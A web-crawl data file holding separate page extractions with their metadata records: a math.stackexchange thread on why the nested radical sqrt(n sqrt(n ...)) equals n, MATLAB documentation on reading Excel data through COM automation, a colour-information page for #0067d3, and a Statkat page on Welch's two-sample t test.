] | {"ft_lang_label":"__label__en","ft_lang_prob":0.91581726,"math_prob":0.98611087,"size":2421,"snap":"2022-40-2023-06","text_gpt3_token_len":603,"char_repetition_ratio":0.13239554,"word_repetition_ratio":0.0,"special_character_ratio":0.24741842,"punctuation_ratio":0.1124498,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9919717,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16],"im_url_duplicate_count":[null,3,null,3,null,6,null,6,null,3,null,3,null,3,null,3,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-01-28T10:26:49Z\",\"WARC-Record-ID\":\"<urn:uuid:b1fd509a-10ff-40d2-9e95-9748283ae363>\",\"Content-Length\":\"26141\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:9ada2b1a-aa07-4529-9ebd-5056d805fe80>\",\"WARC-Concurrent-To\":\"<urn:uuid:fb3a302e-e960-44da-ad9e-719985ae08be>\",\"WARC-IP-Address\":\"31.15.10.13\",\"WARC-Target-URI\":\"https://www.a380-design.com/design-of-an-uhca/aerodynamics/\",\"WARC-Payload-Digest\":\"sha1:YG5KBDXDNNJSRJ23EVHBSA7XYJXV72L7\",\"WARC-Block-Digest\":\"sha1:AH4YIAAO2ZCYNSBKLF55BA5LX53V4O3B\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-06/CC-MAIN-2023-06_segments_1674764499541.63_warc_CC-MAIN-20230128090359-20230128120359-00675.warc.gz\"}"} |
https://math.stackexchange.com/questions/815418/why-does-sqrtn-sqrtn-sqrtn-ldots-n/815430 | [
"Why does $\\sqrt{n\\sqrt{n\\sqrt{n \\ldots}}} = n$?\n\nOk, so I've been playing around with radical graphs and such lately, and I discovered that if the\n\nnth x = √(1st x √ 2nd x ... √nth x);\n\n\nThen\n\n$$\\text{the \"infinith\" } x = x$$\n\nExample:\n\n$$\\sqrt{4\\sqrt{4\\sqrt{4\\sqrt{4\\ldots}}}}=4$$\nTry it yourself, type calc in Google search, hit then a number, such as $4$, and repeat, ending with $4$, (or press the buttons instead).\n\nI'm a math-head, not big enough though, I think this sequence is divergent or convergent or whatever, too lazy to search up the difference.\n\nHowever, can this be explained to me? Like how the Pythagorean Theorem can be explained visually.\n\n• What do you mean by nth x and $\\sqrt(1st \\; x$? – DanZimm May 30 '14 at 22:01\n• oh, i wasn't allowed to write in subscript – CuriousPaths May 30 '14 at 22:03\n• – Ron Gordon May 31 '14 at 2:48\n• Because $\\sqrt{n.n}=n.$ – Yves Daoust Jun 3 '14 at 7:42\n\nSuppose $y = \\sqrt{x\\sqrt{x\\sqrt{x\\cdots}}}$.\n\nMultiply both sides by $x$ and take the square root:\n\n$$\\sqrt{xy} = \\sqrt{x\\sqrt{x\\sqrt{x\\cdots}}} = y$$\n\nTherefore, $\\sqrt{xy} = y$, and solving we have $xy = y^2 \\implies x = y$.\n\n• Mh, be careful with that reasoning. $X = 1-1+1-1+1-1+...$, so $X=1-(1+1-1+1-...) = 1-X$, therefore $X=1/2$ – AnalysisStudent0414 May 30 '14 at 22:06\n• You are begging the question—which is fine, but it should be a little more explicit. The point is to suppose that $\\sqrt{x \\sqrt{x \\sqrt{x \\cdots}}}$ has a definite value $y$, then compute what it would have to be. – Slade May 30 '14 at 22:15\n• AnalysisStudent0414's reasoning actually computes the Cesàro sum. These kinds of questions are always tied up with giving the definition of your expression. – Slade May 30 '14 at 22:17\n• @Arkamis Is there an easy way to exclude $y=0$ as a solution, apart from the form of DanielVs answer – Ragnar May 30 '14 at 22:30\n• @you-sir-33433 This is a site to answer people's questions, not to slowly assemble a textbook. I simply answered his question. He doesn't understand convergence; is this the appropriate place to show that $1/2^n$ converges, as well? Should we begin with the definition of convergence of infinite series? What's the right place to begin? – Emily May 30 '14 at 23:01\n\n\\begin{align} X & = \\sqrt{n \\cdot \\sqrt {n \\cdot \\sqrt{n \\dots} } } \\\\ & = \\sqrt{n} \\cdot \\sqrt{\\sqrt{n}} \\cdot \\sqrt{\\sqrt{\\sqrt{n}}} \\cdot \\dots \\\\ &= n^{1/2} \\cdot n^{1/4} \\cdot n^{1/8} \\dots \\\\ &= n^{1/2 + 1/4 + 1/8 \\dots} \\\\ &= n^1 \\\\ &= n \\\\ \\end{align}\n\n• Oh, this way I understand the most, because it is basically rewriting the 1/2 + 1/4 + 1/8... sequence as exponents, I just looked at it as a radical. – CuriousPaths May 30 '14 at 22:07\n• Wow, this is brilliant. – jeremy radcliff May 7 '15 at 19:57\n\nIt is important to show that the limit exists. Let define the sequence $$a_k=\\sqrt{\\vphantom{A}na_{k-1}}$$ Since $\\dfrac{a_k}{a_{k-1}}=\\sqrt{\\dfrac{n}{a_{k-1}}}$ and $\\dfrac{a_k}{n}=\\sqrt{\\dfrac{a_{k-1}}{n}}$, we have\n\n1. if $a_{k-1}\\le n$, then $a_{k-1}\\le a_k\\le n$; that is, $a_k$ is increasing and bounded above by $n$.\n\n2. if $a_{k-1}\\ge n$, then $a_{k-1}\\ge a_k\\ge n$; that is, $a_k$ is decreasing and bounded below by $n$.\n\nIn either case, $a_k$ is convergent. Using the continuity of multiplication by a constant and the continuity of square root, we get $$\\lim_{k\\to\\infty}a_k=\\lim_{k\\to\\infty}\\sqrt{\\vphantom{A}na_{k-1}}=\\sqrt{n\\lim_{k\\to\\infty}a_k}$$ Squaring and dividing by $\\lim_{k\\to\\infty}a_k$, we get that $$\\lim_{k\\to\\infty}a_k=n$$\n\nAnother Approach\n\nNot as rigorous, but perhaps more intuitive. Take the logarithm of both sides and we get \\begin{align} \\log\\left(\\sqrt{n\\sqrt{n\\sqrt{n\\dots}}}\\right) &=\\frac12\\left(\\log(n)+\\frac12\\left(\\log(n)+\\frac12\\left(\\log(n)+\\vphantom{\\frac12}\\dots\\right)\\right)\\right)\\\\ &=\\frac12\\log(n)+\\frac14\\log(n)+\\frac18\\log(n)+\\dots\\\\ &=\\log(n)\\left(\\frac12+\\frac14+\\frac18+\\dots\\right)\\\\[6pt] &=\\log(n) \\end{align}\n\n• Convergence is even easier, really. Let $f_n$ be $n$ square root operations, e.g. $f_2 = \\sqrt{x\\sqrt{x}}$. Then, for $n >m$,$f_n-f_m = \\sqrt{x\\sqrt{x\\cdots x f_m}}-f_m = k_{n-m}f_m^{1/2^{n-m}}-f_m$ which is Cauchy. – Emily May 30 '14 at 23:08\n• I might have made a few algebra mistakes along the way... editing in the comment box on a laptop sucks. – Emily May 30 '14 at 23:09\n• @Arkamis: I assume that $k_{n-m}$ is supposed to be $f_{n-m}$. However, perhaps I am missing something, but I don't see how $f_n-f_m=f_{n-m}f_m^{2^{m-n}}-f_m$ shows that $f_n$ is Cauchy. In any case, this, or another justification, should be in an answer. – robjohn May 31 '14 at 0:57\n• @Arkamis: BTW, I did not downvote your answer. – robjohn May 31 '14 at 0:59\n• The k is the x part of the expansion, after factoring out n -m fs. – Emily May 31 '14 at 1:03\n\nYou're basically doing this:\n\n$x_0 = \\sqrt x$\n\n$x_1 = \\sqrt{x x_0}$\n\n$\\displaystyle x_n = \\sqrt{x x_{n-1}} = x^{\\sum_{k=1}^n \\frac{1}{2^k}}$\n\nSo it's pretty obvious that converges to $x$\n\n• The limits of the sum in your last line don't look right. Do you mean $x^{\\sum_{k=1}^n{\\frac{1}{2^k}}}$? – Théophile May 30 '14 at 22:09\n• Yup. Changed sentence mid-way, thanks a lot – AnalysisStudent0414 May 30 '14 at 22:16\n\nAssume that you iterated infinitely many times (can take a while), and observed a convergence to $n$.\n\nOne more iteration yields $\\sqrt{n.n}=n$.\n\n• This is the steady state approach, assume $a_k$ = $a_{k-1}$ and solving for that value, nice application. – DanielV Jun 2 '14 at 16:53\n• There are two approaches: knowing the limit, show that it is the limit; or not knowing the limit, find it. – Yves Daoust Jun 2 '14 at 18:03\n\nSuppose $y = \\sqrt{x\\sqrt{x\\sqrt{x\\cdots}}}$. Then obviously $y^2=xy$, whence $y=x$ or $y=0$. But $y \\gt 0$, so $y=x$."
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.88650733,"math_prob":0.9996606,"size":672,"snap":"2019-26-2019-30","text_gpt3_token_len":210,"char_repetition_ratio":0.09431138,"word_repetition_ratio":0.0,"special_character_ratio":0.3139881,"punctuation_ratio":0.1632653,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9999932,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-06-17T18:37:09Z\",\"WARC-Record-ID\":\"<urn:uuid:dcf8b9f4-2c9f-4828-aaad-8df567055e42>\",\"Content-Length\":\"185517\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:757f067b-3bc6-4c7f-833a-326a51a61d7a>\",\"WARC-Concurrent-To\":\"<urn:uuid:3aa867fc-17b6-4e3b-a2e9-69811ed434f2>\",\"WARC-IP-Address\":\"151.101.129.69\",\"WARC-Target-URI\":\"https://math.stackexchange.com/questions/815418/why-does-sqrtn-sqrtn-sqrtn-ldots-n/815430\",\"WARC-Payload-Digest\":\"sha1:KPH7UXVNJ4HNE754FTGBFWPF373LOWZK\",\"WARC-Block-Digest\":\"sha1:GHE6VRC5PJEZCXGEJBBXIT4YSQHAKJF4\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-26/CC-MAIN-2019-26_segments_1560627998558.51_warc_CC-MAIN-20190617183209-20190617205209-00370.warc.gz\"}"} |
https://fr.mathworks.com/help/matlab/matlab_external/example-reading-excel-spreadsheet-data.html | [
"This example shows how to use a COM Automation server to access another application from MATLAB®. It creates a user interface to access the data in a Microsoft® Excel® file. If you do not use the Component Object Model (COM) in your applications, then see the functions and examples in Spreadsheets for alternatives to importing Excel spreadsheet data into MATLAB.\n\nTo enable the communication between MATLAB and the spreadsheet program, this example creates an object in an Automation server running an Excel application. MATLAB then accesses the data in the spreadsheet through the interfaces provided by the Excel Automation server. Finally, the example creates a user interface to access the data in a Microsoft Excel file.\n\n### Techniques Demonstrated\n\n• Use of an Automation server to access another application from MATLAB\n\n• Ways to manipulate Excel data into types used in the interface and plotting\n\nThe following techniques demonstrate how to visualize and manipulate the spreadsheet data:\n\n• Implementation of an interface that enables plotting of selected columns of the Excel spreadsheet.\n\n• Insertion of a MATLAB figure into an Excel file.\n\nTo view the complete code listing, open the file actx_excel.m in the editor.\n\n### Create Excel Automation Server\n\nThe first step in accessing the spreadsheet data from MATLAB is to run the Excel application in an Automation server process using the `actxserver` function and the program ID, `excel.application`.\n\n`exl = actxserver('excel.application');`\n\nThe `exl` object provides access to a number of interfaces supported by the Excel program. Use the `Workbooks` interface to open the Excel file containing the data.\n\n```exlWkbk = exl.Workbooks; exlFile = exlWkbk.Open([docroot '/techdoc/matlab_external/examples/input_resp_data.xls']);```\n\nUse the workbook `Sheets` interface to access the data from a `Range` object, which stores a reference to a range of data from the specified sheet. This example accesses all the data from the first cell in column `A` to the last cell in column `G`.\n\n```exlSheet1 = exlFile.Sheets.Item('Sheet1'); robj = exlSheet1.Columns.End(4); % Find the end of the column numrows = robj.row; % And determine what row it is dat_range = ['A1:G' num2str(numrows)]; % Read to the last row rngObj = exlSheet1.Range(dat_range);```\n\nAt this point, the entire data set from the Excel file's `sheet1` is accessed via the range object interface `rngObj`. This object returns the data in a MATLAB cell array `exlData`, which contains both numeric and character data:\n\n`exlData = rngObj.Value;`\n\n### Manipulate Data in MATLAB Workspace\n\nNow that the data is in a cell array, you can use MATLAB functions to extract and reshape parts of the data to use in the interface and to pass to the plot function. For assumptions about the data, see Excel Spreadsheet Format.\n\nThe following code manipulates the data:\n\n```for ii = 1:size(exlData,2) matData(:,ii) = reshape([exlData{2:end,ii}],size(exlData(2:end,ii))); lBoxList{ii} = [exlData{1,ii}]; end```\n\nThe code performs the following operations:\n\n• Extracts numeric data from the cell array. See the indexing expression inside the curly braces `{}`.\n\n• Concatenates the individual doubles returned by the indexing operation. See the expression inside the square brackets `[]`.\n\n• Reshapes the results into an array that arranges the data in columns using the `reshape` function.\n\n• Extracts the text in the first cell in each column of `exlData` data and stores the text in a cell array `lBoxList`. This variable is used to generate the items in the list box.\n\nThis example assumes a particular organization of the Excel spreadsheet, as shown in the following picture.",
null,
"The format of the Excel file is as follows:\n\n• The first element in each column is text that identifies the data contained in the column. These values are extracted and used to populate the list box.\n\n• The first column `Time` is used for the x-axis of all plots of the remaining data.\n\n• All rows in each column are read into MATLAB.\n\n### Create Plotter Interface\n\nThis example uses an interface that enables you to select from a list of input and response data. All data is plotted as a function of time and you can continue to add more data to the graph. Each data plot added to the graph causes the legend to expand.\n\nThe interface includes these details:\n\n• Clear button that enables you to clear all graphs from the axes\n\n• Save button that saves the graph as a PNG file and adds it to another Excel file\n\n• Toggle button that shows or hides the Excel file being accessed\n\n• Figure delete function to terminate the Automation server\n\n#### Select and Plot Data\n\nWhen you click the button, its callback function queries the list box to determine what items are selected and plots each data versus time. MATLAB updates the legend to display new data while still maintaining the legend for the existing data.\n\n```function plotButtonCallback(src,evnt) iSelected = get(listBox,'Value'); grid(a,'on');hold all for p = 1:length(iSelected) switch iSelected(p) case 1 plot(a,tme,matData(:,2)) case 2 plot(a,tme,matData(:,3)) case 3 plot(a,tme,matData(:,4)) case 4 plot(a,tme,matData(:,5)) case 5 plot(a,tme,matData(:,6)) case 6 plot(a,tme,matData(:,7)) otherwise disp('Select data to plot') end end [b,c,g,lbs] = legend([lbs lBoxList(iSelected+1)]); end % plotButtonCallback```\n\n#### Clear the Axes\n\nThe plotter is designed to continually add graphs as the user selects data from the list box. The button clears and resets the axes and clears the variable used to store the labels of the plot data (used by legend).\n\n```%% Callback for clear button function clearButtonCallback(src,evt) cla(a,'reset') lbs = ''; end % clearButtonCallback```\n\n#### Display or Hide Excel File\n\nThe MATLAB program has access to the properties of the Excel application running in the Automation server. By setting the `Visible` property to `1` or `0`, this callback controls the visibility of the Excel file.\n\n```%% Display or hide Excel file function dispButtonCallback(src,evt) exl.visible = get(src,'Value'); end % dispButtonCallback```\n\n#### Close Figure and Terminate Excel Automation Process\n\nSince the Excel Automation server runs in a separate process from MATLAB, you must terminate this process explicitly. There is no reason to keep this process running after closing the interface, so this example uses the figure's `delete` function to terminate the Excel process with the `Quit` method. You also need to terminate the Excel process used for saving the graph. For information about terminating this process, see Insert MATLAB Graphs into Excel Spreadsheet.\n\n```%% Terminate Excel processes function deleteFig(src,evt) exlWkbk.Close exlWkbk2.Close exl.Quit exl2.Quit end % deleteFig```\n\n### Insert MATLAB Graphs into Excel Spreadsheet\n\nYou can save the graph created with this interface in an Excel file. This example uses a separate Excel Automation server process for this purpose. The callback for the push button creates the image and adds it to an Excel file:\n\n• Both the axes and legend are copied to an invisible figure configured to print the graph as you see it on the screen (figure `PaperPositionMode` property is set to `auto`).\n\n• The `print` command creates the PNG image.\n\n• Use the `Shapes` interface to insert the image in the Excel workbook.\n\nThe server and interfaces are instanced during the initialization phase:\n\n```exl2 = actxserver('excel.application'); exlWkbk2 = exl2.Workbooks; wb = invoke(exlWkbk2,'Add'); graphSheet = invoke(wb.Sheets,'Add'); Shapes = graphSheet.Shapes;```\n\nUse this code to implement the button callback:\n\n```function saveButtonCallback(src,evt) tempfig = figure('Visible','off','PaperPositionMode','auto'); tempfigfile = [tempname '.png']; ah = findobj(f,'type','axes'); copyobj(ah,tempfig) % Copy both graph axes and legend axes print(tempfig,'-dpng',tempfigfile); Shapes.AddPicture(tempfigfile,0,1,50,18,300,235); exl2.visible = 1; end```\n\n### Run Example\n\nTo run the example, select any items in the list box and click the button. The sample data provided with this example contain three input and three associated response data sets. All of these data sets are plotted versus the first column in the Excel file, which is the time data.\n\nView the Excel data file by clicking the button. To save an image of the graph in a different Excel file, click the button. If you have write-access permission in the current folder, then the option creates a temporary PNG file in that folder.\n\nThe following image shows the interface with an input/response pair selected in the list box and plotted in the axes.",
null,
"To run this example, click this link."
] | [
null,
"https://fr.mathworks.com/help/matlab/matlab_external/xl_file.jpg",
null,
"https://fr.mathworks.com/help/matlab/matlab_external/excel_plotter.jpg",
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https://www.colorhexa.com/0067d3 | [
"# #0067d3 Color Information\n\nIn a RGB color space, hex #0067d3 is composed of 0% red, 40.4% green and 82.7% blue. Whereas in a CMYK color space, it is composed of 100% cyan, 51.2% magenta, 0% yellow and 17.3% black. It has a hue angle of 210.7 degrees, a saturation of 100% and a lightness of 41.4%. #0067d3 color hex could be obtained by blending #00ceff with #0000a7. Closest websafe color is: #0066cc.\n\n• R 0\n• G 40\n• B 83\nRGB color chart\n• C 100\n• M 51\n• Y 0\n• K 17\nCMYK color chart\n\n#0067d3 color description : Strong blue.\n\n# #0067d3 Color Conversion\n\nThe hexadecimal color #0067d3 has RGB values of R:0, G:103, B:211 and CMYK values of C:1, M:0.51, Y:0, K:0.17. Its decimal value is 26579.\n\nHex triplet RGB Decimal 0067d3 `#0067d3` 0, 103, 211 `rgb(0,103,211)` 0, 40.4, 82.7 `rgb(0%,40.4%,82.7%)` 100, 51, 0, 17 210.7°, 100, 41.4 `hsl(210.7,100%,41.4%)` 210.7°, 100, 82.7 0066cc `#0066cc`\nCIE-LAB 44.804, 17.43, -62.287 16.605, 14.402, 63.529 0.176, 0.152, 14.402 44.804, 64.68, 285.633 44.804, -23.821, -94.399 37.95, 11.692, -72.687 00000000, 01100111, 11010011\n\n# Color Schemes with #0067d3\n\n• #0067d3\n``#0067d3` `rgb(0,103,211)``\n• #d36c00\n``#d36c00` `rgb(211,108,0)``\nComplementary Color\n• #00d1d3\n``#00d1d3` `rgb(0,209,211)``\n• #0067d3\n``#0067d3` `rgb(0,103,211)``\n• #0200d3\n``#0200d3` `rgb(2,0,211)``\nAnalogous Color\n• #d1d300\n``#d1d300` `rgb(209,211,0)``\n• #0067d3\n``#0067d3` `rgb(0,103,211)``\n• #d30200\n``#d30200` `rgb(211,2,0)``\nSplit Complementary Color\n• #67d300\n``#67d300` `rgb(103,211,0)``\n• #0067d3\n``#0067d3` `rgb(0,103,211)``\n• #d30067\n``#d30067` `rgb(211,0,103)``\n• #00d36c\n``#00d36c` `rgb(0,211,108)``\n• #0067d3\n``#0067d3` `rgb(0,103,211)``\n• #d30067\n``#d30067` `rgb(211,0,103)``\n• #d36c00\n``#d36c00` `rgb(211,108,0)``\n• #004287\n``#004287` `rgb(0,66,135)``\n• #004ea0\n``#004ea0` `rgb(0,78,160)``\n• #005bba\n``#005bba` `rgb(0,91,186)``\n• #0067d3\n``#0067d3` `rgb(0,103,211)``\n• #0073ed\n``#0073ed` `rgb(0,115,237)``\n• #0780ff\n``#0780ff` `rgb(7,128,255)``\n• #218dff\n``#218dff` `rgb(33,141,255)``\nMonochromatic Color\n\n# Alternatives to #0067d3\n\nBelow, you can see some colors close to #0067d3. Having a set of related colors can be useful if you need an inspirational alternative to your original color choice.\n\n• #009cd3\n``#009cd3` `rgb(0,156,211)``\n``#008ad3` `rgb(0,138,211)``\n• #0079d3\n``#0079d3` `rgb(0,121,211)``\n• #0067d3\n``#0067d3` `rgb(0,103,211)``\n• #0055d3\n``#0055d3` `rgb(0,85,211)``\n• #0044d3\n``#0044d3` `rgb(0,68,211)``\n• #0032d3\n``#0032d3` `rgb(0,50,211)``\nSimilar Colors\n\n# #0067d3 Preview\n\nText with hexadecimal color #0067d3\n\nThis text has a font color of #0067d3.\n\n``<span style=\"color:#0067d3;\">Text here</span>``\n#0067d3 background color\n\nThis paragraph has a background color of #0067d3.\n\n``<p style=\"background-color:#0067d3;\">Content here</p>``\n#0067d3 border color\n\nThis element has a border color of #0067d3.\n\n``<div style=\"border:1px solid #0067d3;\">Content here</div>``\nCSS codes\n``.text {color:#0067d3;}``\n``.background {background-color:#0067d3;}``\n``.border {border:1px solid #0067d3;}``\n\n# Shades and Tints of #0067d3\n\nA shade is achieved by adding black to any pure hue, while a tint is created by mixing white to any pure color. In this example, #00070f is the darkest color, while #fafdff is the lightest one.\n\n• #00070f\n``#00070f` `rgb(0,7,15)``\n• #001122\n``#001122` `rgb(0,17,34)``\n• #001a36\n``#001a36` `rgb(0,26,54)``\n• #00244a\n``#00244a` `rgb(0,36,74)``\n• #002e5d\n``#002e5d` `rgb(0,46,93)``\n• #003771\n``#003771` `rgb(0,55,113)``\n• #004185\n``#004185` `rgb(0,65,133)``\n• #004a98\n``#004a98` `rgb(0,74,152)``\n• #0054ac\n``#0054ac` `rgb(0,84,172)``\n• #005dbf\n``#005dbf` `rgb(0,93,191)``\n• #0067d3\n``#0067d3` `rgb(0,103,211)``\n• #0071e7\n``#0071e7` `rgb(0,113,231)``\n• #007afa\n``#007afa` `rgb(0,122,250)``\n• #0f84ff\n``#0f84ff` `rgb(15,132,255)``\n• #228eff\n``#228eff` `rgb(34,142,255)``\n• #3698ff\n``#3698ff` `rgb(54,152,255)``\n• #4aa2ff\n``#4aa2ff` `rgb(74,162,255)``\n• #5dacff\n``#5dacff` `rgb(93,172,255)``\n• #71b6ff\n``#71b6ff` `rgb(113,182,255)``\n• #85c0ff\n``#85c0ff` `rgb(133,192,255)``\n• #98caff\n``#98caff` `rgb(152,202,255)``\n• #acd4ff\n``#acd4ff` `rgb(172,212,255)``\n• #bfdeff\n``#bfdeff` `rgb(191,222,255)``\n• #d3e8ff\n``#d3e8ff` `rgb(211,232,255)``\n• #e7f3ff\n``#e7f3ff` `rgb(231,243,255)``\n• #fafdff\n``#fafdff` `rgb(250,253,255)``\nTint Color Variation\n\n# Tones of #0067d3\n\nA tone is produced by adding gray to any pure hue. In this case, #616972 is the less saturated color, while #0067d3 is the most saturated one.\n\n• #616972\n``#616972` `rgb(97,105,114)``\n• #59697a\n``#59697a` `rgb(89,105,122)``\n• #516982\n``#516982` `rgb(81,105,130)``\n• #49698a\n``#49698a` `rgb(73,105,138)``\n• #416992\n``#416992` `rgb(65,105,146)``\n• #39689a\n``#39689a` `rgb(57,104,154)``\n• #3168a2\n``#3168a2` `rgb(49,104,162)``\n• #2968aa\n``#2968aa` `rgb(41,104,170)``\n• #2068b3\n``#2068b3` `rgb(32,104,179)``\n• #1868bb\n``#1868bb` `rgb(24,104,187)``\n• #1067c3\n``#1067c3` `rgb(16,103,195)``\n• #0867cb\n``#0867cb` `rgb(8,103,203)``\n• #0067d3\n``#0067d3` `rgb(0,103,211)``\nTone Color Variation\n\n# Color Blindness Simulator\n\nBelow, you can see how #0067d3 is perceived by people affected by a color vision deficiency. This can be useful if you need to ensure your color combinations are accessible to color-blind users.\n\nMonochromacy\n• Achromatopsia 0.005% of the population\n• Atypical Achromatopsia 0.001% of the population\nDichromacy\n• Protanopia 1% of men\n• Deuteranopia 1% of men\n• Tritanopia 0.001% of the population\nTrichromacy\n• Protanomaly 1% of men, 0.01% of women\n• Deuteranomaly 6% of men, 0.4% of women\n• Tritanomaly 0.01% of the population"
] | [
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https://statkat.org/stat-tests/two-sample-t-test-equal-variances-not-assumed.php | [
"# Two sample $t$ test - equal variances not assumed\n\nThis page offers all the basic information you need about the two sample $t$ test - equal variances not assumed. It is part of Statkat’s wiki module, containing similarly structured info pages for many different statistical methods. The info pages give information about null and alternative hypotheses, assumptions, test statistics and confidence intervals, how to find p values, SPSS how-to’s and more.\n\nTo compare the two sample $t$ test - equal variances not assumed with other statistical methods, go to Statkat's or practice with the two sample $t$ test - equal variances not assumed at Statkat's\n\n##### When to use?\n\nDeciding which statistical method to use to analyze your data can be a challenging task. Whether a statistical method is appropriate for your data is partly determined by the measurement level of your variables. The two sample $t$ test - equal variances not assumed requires the following variable types:\n\n Independent/grouping variable: One categorical with 2 independent groups",
null,
"Dependent variable: One quantitative of interval or ratio level\n\nNote that theoretically, it is always possible to 'downgrade' the measurement level of a variable. For instance, a test that can be performed on a variable of ordinal measurement level can also be performed on a variable of interval measurement level, in which case the interval variable is downgraded to an ordinal variable. However, downgrading the measurement level of variables is generally a bad idea since it means you are throwing away important information in your data (an exception is the downgrade from ratio to interval level, which is generally irrelevant in data analysis).\n\nIf you are not sure which method you should use, you might like the assistance of our method selection tool or our method selection table.\n\n##### Null hypothesis\n\nThe two sample $t$ test - equal variances not assumed tests the following null hypothesis (H0):\n\nH0: $\\mu_1 = \\mu_2$\n\nHere $\\mu_1$ is the population mean for group 1, and $\\mu_2$ is the population mean for group 2.\n##### Alternative hypothesis\n\nThe two sample $t$ test - equal variances not assumed tests the above null hypothesis against the following alternative hypothesis (H1 or Ha):\n\nH1 two sided: $\\mu_1 \\neq \\mu_2$\nH1 right sided: $\\mu_1 > \\mu_2$\nH1 left sided: $\\mu_1 < \\mu_2$\n##### Assumptions\n\nStatistical tests always make assumptions about the sampling procedure that was used to obtain the sample data. So called parametric tests also make assumptions about how data are distributed in the population. Non-parametric tests are more 'robust' and make no or less strict assumptions about population distributions, but are generally less powerful. Violation of assumptions may render the outcome of statistical tests useless, although violation of some assumptions (e.g. independence assumptions) are generally more problematic than violation of other assumptions (e.g. normality assumptions in combination with large samples).\n\nThe two sample $t$ test - equal variances not assumed makes the following assumptions:\n\n• Within each population, the scores on the dependent variable are normally distributed\n• Group 1 sample is a simple random sample (SRS) from population 1, group 2 sample is an independent SRS from population 2. That is, within and between groups, observations are independent of one another\n##### Test statistic\n\nThe two sample $t$ test - equal variances not assumed is based on the following test statistic:\n\n$t = \\dfrac{(\\bar{y}_1 - \\bar{y}_2) - 0}{\\sqrt{\\dfrac{s^2_1}{n_1} + \\dfrac{s^2_2}{n_2}}} = \\dfrac{\\bar{y}_1 - \\bar{y}_2}{\\sqrt{\\dfrac{s^2_1}{n_1} + \\dfrac{s^2_2}{n_2}}}$\nHere $\\bar{y}_1$ is the sample mean in group 1, $\\bar{y}_2$ is the sample mean in group 2, $s^2_1$ is the sample variance in group 1, $s^2_2$ is the sample variance in group 2, $n_1$ is the sample size of group 1, and $n_2$ is the sample size of group 2. The 0 represents the difference in population means according to the null hypothesis.\n\nThe denominator $\\sqrt{\\frac{s^2_1}{n_1} + \\frac{s^2_2}{n_2}}$ is the standard error of the sampling distribution of $\\bar{y}_1 - \\bar{y}_2$. The $t$ value indicates how many standard errors $\\bar{y}_1 - \\bar{y}_2$ is removed from 0.\n\nNote: we could just as well compute $\\bar{y}_2 - \\bar{y}_1$ in the numerator, but then the left sided alternative becomes $\\mu_2 < \\mu_1$, and the right sided alternative becomes $\\mu_2 > \\mu_1$.\n##### Sampling distribution\n\nSampling distribution of $t$ if H0 were true:\n\nApproximately the $t$ distribution with $k$ degrees of freedom, with $k$ equal to\n$k = \\dfrac{\\Bigg(\\dfrac{s^2_1}{n_1} + \\dfrac{s^2_2}{n_2}\\Bigg)^2}{\\dfrac{1}{n_1 - 1} \\Bigg(\\dfrac{s^2_1}{n_1}\\Bigg)^2 + \\dfrac{1}{n_2 - 1} \\Bigg(\\dfrac{s^2_2}{n_2}\\Bigg)^2}$\nor\n$k$ = the smaller of $n_1$ - 1 and $n_2$ - 1\n\nFirst definition of $k$ is used by computer programs, second definition is often used for hand calculations.\n##### Significant?\n\nThis is how you find out if your test result is significant:\n\nTwo sided:\nRight sided:\nLeft sided:\n##### Approximate $C\\%$ confidence interval for $\\mu_1 - \\mu_2$\n\n$(\\bar{y}_1 - \\bar{y}_2) \\pm t^* \\times \\sqrt{\\dfrac{s^2_1}{n_1} + \\dfrac{s^2_2}{n_2}}$\nwhere the critical value $t^*$ is the value under the $t_{k}$ distribution with the area $C / 100$ between $-t^*$ and $t^*$ (e.g. $t^*$ = 2.086 for a 95% confidence interval when df = 20).\n\nThe confidence interval for $\\mu_1 - \\mu_2$ can also be used as significance test.\n\n##### Example context\n\nThe two sample $t$ test - equal variances not assumed could for instance be used to answer the question:\n\nIs the average mental health score different between men and women?\n##### SPSS\n\nHow to perform the two sample $t$ test - equal variances not assumed in SPSS:\n\nAnalyze > Compare Means > Independent-Samples T Test...\n• Put your dependent (quantitative) variable in the box below Test Variable(s) and your independent (grouping) variable in the box below Grouping Variable\n• Click on the Define Groups... button. If you can't click on it, first click on the grouping variable so its background turns yellow\n• Fill in the value you have used to indicate your first group in the box next to Group 1, and the value you have used to indicate your second group in the box next to Group 2\n• Continue and click OK\n##### Jamovi\n\nHow to perform the two sample $t$ test - equal variances not assumed in jamovi:\n\nT-Tests > Independent Samples T-Test\n• Put your dependent (quantitative) variable in the box below Dependent Variables and your independent (grouping) variable in the box below Grouping Variable\n• Under Tests, select Welch's\n• Under Hypothesis, select your alternative hypothesis"
] | [
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"https://statkat.org/images/model-line.png",
null
